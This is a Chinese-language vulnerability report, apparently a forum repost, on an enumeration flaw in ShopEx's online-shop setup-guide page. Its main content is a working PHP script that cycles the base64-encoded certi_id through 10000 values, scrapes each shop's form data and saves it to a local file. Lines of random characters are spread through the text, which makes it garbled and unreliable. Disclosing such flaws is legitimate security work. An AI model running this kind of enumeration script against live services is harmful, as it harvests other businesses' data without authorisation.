ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
2 d! k0 z% b  X" z) v% EShopEx某接口缺陷,可遍历所有网站
4 x* h# i' I; _( Q: \( S4 e详细说明：
问题出现在shopex 网店使用向导页面



http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=



/ `$ T( \" h& T5 k. V# g$ I# trefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}


. W5 C' `$ j0 x. r) C2 T, N8 \
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站


8 ^( j  b" m; ~9 E% V: F
<?php

                for ($i=1; $i < 10000; $i++) { //遍历
! P% m0 d/ k3 m' \4 U7 {
                        ShowshopExD($i);

7 J- k( r! p! S3 `/ A; ^                }
: i8 ?2 ~/ |; q3 T4 A
4 f$ r- N0 e6 G                function ShowshopExD($cid) {
6 h5 {7 t0 B( |. {6 q
! j) }* J5 L% q                $url='http://guide.ecos.shopex.cn/step2.php';

                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
0 l; z0 @# _  x) w4 K
        $url = $url.'?refer='.$refer;
7 |# I8 J0 V! d% W; T- D
        $ch = curl_init($url);
% Y) m# \1 a, U0 z' t; A/ X2 s; x
1 u: h* k( r9 f0 d2 x+ I5 B7 B        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
# \3 l2 I) m0 M
* B4 W; ]5 t. D/ n: f! j' x, ^3 y        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
9 Z- o2 C' F# C
& w, O5 l  _6 z0 [3 `3 [, U4 d        $result = curl_exec($ch);

        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
! w8 w$ c$ P. q+ d
3 g& s$ C! }# [0 j! p) X        if(strpos($result,$refer))
* m% f4 K2 z7 l* r5 n2 E
        {
/ A8 V( r; e2 q+ F/ L: L
( f7 b% A: O) j: \1 N; W                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
1 r9 m: ~5 `: A
% x6 x3 m9 V2 U4 c! e                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
; C/ u, [  j# T0 [
' P, ?" I4 G- `0 d                foreach ($value[1] as $key) {

( D7 {$ s: M# f. H- n/ e9 C' x/ A                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
" W6 X# h/ I+ ?( M6 M/ P
) k& X7 j5 R3 v6 l                        echo $res[1][0].':'.$res[3][0]."\r\n";

+ c2 X* Q: d; A4 C+ W! \                        $col =$res[1][0].':'.$res[3][0]."\r\n";
- d# U4 X, J1 e- a( n9 \/ ]
+ G9 k; C+ Y7 \7 Z                        fwrite($fp, $col, strlen($col));

8 Q; L5 r9 x1 a8 Y                }
9 L5 I! Y7 [" A/ s$ }
$ e' R& m: |- c, X                echo '--------------------------------'."\r\n";

* F6 I- p2 F5 q+ r7 @" |+ ~                fclose($fp);
4 V2 e, |8 h) R& p/ @; M
        }

8 I) G5 R) F; L  c        flush();

% I0 F, D8 b& `/ l! x        curl_close($ch);

                }
9 V0 u" e( X6 d+ d9 w
?>
9 y1 u: I/ K: \1 J漏洞证明：
0 k2 j* Z# a4 B6 n  C& e/ u* fhttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式